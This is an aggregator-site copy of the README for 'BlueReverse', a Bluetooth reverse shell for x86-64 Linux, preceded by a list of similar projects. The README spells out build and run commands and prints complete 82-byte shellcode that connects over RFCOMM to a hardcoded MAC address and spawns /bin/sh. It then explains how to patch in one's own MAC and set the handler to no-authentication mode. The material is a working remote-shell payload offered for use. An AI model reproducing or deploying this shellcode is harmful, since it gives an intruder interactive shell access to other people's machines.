All Projects → Neetx → BlueReverse

Neetx / BlueReverse

Licence: GPL-3.0 license
Bluetooth reverse shell.

Programming Languages

python
139335 projects - #7 most used programming language
assembly
5116 projects
c
50402 projects - #5 most used programming language

Projects that are alternatives of or similar to BlueReverse

android-bluetooth-serial
A library for Android to simplify basic serial communication over Bluetooth, for example when communicating with Arduinos.
Stars: ✭ 120 (+700%)
Mutual labels:  bluetooth
GoFIT SDK Android
GoFIT SDK for Android — GOLiFE 手環 App 介接 SDK
Stars: ✭ 32 (+113.33%)
Mutual labels:  bluetooth
php-reverse-shell
PHP shells that work on Linux OS, macOS, and Windows OS.
Stars: ✭ 274 (+1726.67%)
Mutual labels:  reverse-shell
BetterJoyForDolphin
Allows the Nintendo Switch Pro Controller and Joycons to be used with the Dolphin Emulator
Stars: ✭ 44 (+193.33%)
Mutual labels:  bluetooth
mi-lamp-re
💡 Reverse Engineering Notes for the Yeelight Bedside Lamp (BLE)
Stars: ✭ 35 (+133.33%)
Mutual labels:  bluetooth
openEMSstim
openEMSstim: open-hardware module to adjust the intensity of EMS/TENS stimulators.
Stars: ✭ 90 (+500%)
Mutual labels:  bluetooth
ChromeBluetooth
Demo of a "Stress Display" using Chrome Bluetooth. Reads Heart-rate data, and displays "stress" colors to a smart bulb. (Uses a SBT5007 smart bulb)
Stars: ✭ 14 (-6.67%)
Mutual labels:  bluetooth
pymetawear
Community developed SDK around the Python bindings for the C++ SDK
Stars: ✭ 42 (+180%)
Mutual labels:  bluetooth
PiBeacon
Low-cost iBeacon using Raspberry Pi
Stars: ✭ 41 (+173.33%)
Mutual labels:  bluetooth
Blueborne-CVE-2017-1000251
Blueborne CVE-2017-1000251 PoC for linux machines
Stars: ✭ 14 (-6.67%)
Mutual labels:  bluetooth
ESP32BleAdvertise
Simple library for BLE advertise using ESP32 in Arduino
Stars: ✭ 39 (+160%)
Mutual labels:  bluetooth
alfred bluetooth controller
Alfred workflow for managing bluetooth settings and -connections
Stars: ✭ 63 (+320%)
Mutual labels:  bluetooth
easyble
A simple framework for Android Bluetooth Low Energy (BLE)
Stars: ✭ 43 (+186.67%)
Mutual labels:  bluetooth
bpi-m64-firmware
Banana Pi M64 firmware (eMMC, Wifi, bluetooth, GbE, OV5640)
Stars: ✭ 26 (+73.33%)
Mutual labels:  bluetooth
BlueRetro
Multiplayer Bluetooth controllers adapter for retro video game consoles
Stars: ✭ 520 (+3366.67%)
Mutual labels:  bluetooth
GodSpeed
Fast and intuitive manager for multiple reverse shells
Stars: ✭ 75 (+400%)
Mutual labels:  reverse-shell
ruuvidriver
Serves your Ruuvitag Weather Station data over HTTP.
Stars: ✭ 13 (-13.33%)
Mutual labels:  bluetooth
noise
A chat app for the end of the world.
Stars: ✭ 27 (+80%)
Mutual labels:  bluetooth
react-native-google-nearby-messages
📲 Communicate with nearby devices using Bluetooth, BLE, WiFi and near-ultrasonic audio. Broadcast and receive small payloads (like strings) using the easy-to-use React Native API!
Stars: ✭ 143 (+853.33%)
Mutual labels:  bluetooth
bluetooth-iot-service-python
This application connects two devices over Bluetooth and allows one to send messages to the other using json. Raspberry Pi Bluetooth interfacing with Linux via RFCOMM BT network
Stars: ✭ 23 (+53.33%)
Mutual labels:  bluetooth

BlueReverse

Bluetooth reverse shell currently for x86-64 Linux system.

Copyright (C) 2020 Neetx

BlueReverse is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

BlueReverse is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/

CONTACTS:

Neetx


BlueReverse has been implemented as personal research and fun. I provide you .asm file (client side), .py 2.7 file (server side) and the shellcode.

You must fill .asm and .py with your mac and with your desired channel for the communication. Then:

nasm -f elf64 brev_shell.asm -o test.o
ld test.o -o test

Now you must start the server:

python bluereversehandler.py

And now you can launch test:

./test

You will get prompt on server side. I tested the code with a rpi3 (server) and a Debian Stretch (client).


Shellcode:

If you need shellcode you can use my tool ShellcodeExtractor (https://github.com/Neetx/Shellcode-Extractor)

objdump -D test.o | python shellcode_extractor.py

My output and lenght:

\x6a\x29\x58\x6a\x01\x5e\x6a\x1f\x5f\x6a\x03\x5a\x0f\x05\x97\x6a\x02\x66\x5e\xb0\x21\x0f\x05\x83\xee\x01\x79\xf7\x48\x31\xc9\xb1\x03\x51\x48\xb9\xe0\xff\x9f\xea\xa3\x14\xd8\x47\x48\xf7\xd1\x51\x54\x5e\xb2\x0a\x48\x31\xc0\xb0\x2a\x0f\x05\x48\x31\xd2\x52\x5e\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\xb0\x3b\x0f\x05
82

You must do it by yourself because you have another MAC and maybe another channel. If you don't use my tool or another tool/command you have to put your MAC manually after NOT operation, because of this in .asm:

mov rcx, ~0xXXXXXXXXXXXX001f		;mac + family(1f=31)
not rcx

(~ MAC + 00 (filler) + 1f (family))

00 is a nullbyte and to avoid it I use ~ , so the value after ~ is stored in the binary after a NOT operation and 00 become FF. Then i used "not rcx" to obtain the desired value.

Put your bluetooth MAC address here instead of \xXX\xXX\xXX\xXX\xXX\xXX, in little endian and after NOT operation:

\x6a\x29\x58\x6a\x01\x5e\x6a\x1f\x5f\x6a\x03\x5a\x0f\x05\x97\x6a\x02\x66\x5e\xb0\x21\x0f\x05\x83\xee\x01\x79\xf7\x48\x31\xc9\xb1\x03\x51\x48\xb9\xe0\xff\xXX\xXX\xXX\xXX\xXX\xXX\x48\xf7\xd1\x51\x54\x5e\xb2\x0a\x48\x31\xc0\xb0\x2a\x0f\x05\x48\x31\xd2\x52\x5e\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\xb0\x3b\x0f\x05

Shellcode Generator

Instead of the previous steps you can use my generator.py (python >= 3.7) to get the shellcode

python generator.py MAC CHANNEL

Test Shellcode:

Put your shellcode in the shellcode_tester.c, compile it and test.


Server Side

On the server side you should adapt and use bluereversehandler.py

sudo hciconfig <device> piscan   
sudo hciconfig <device> noauth   
python2 bluereversehandler.py

An handler update will be released asap.

Screenshot

alt text

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].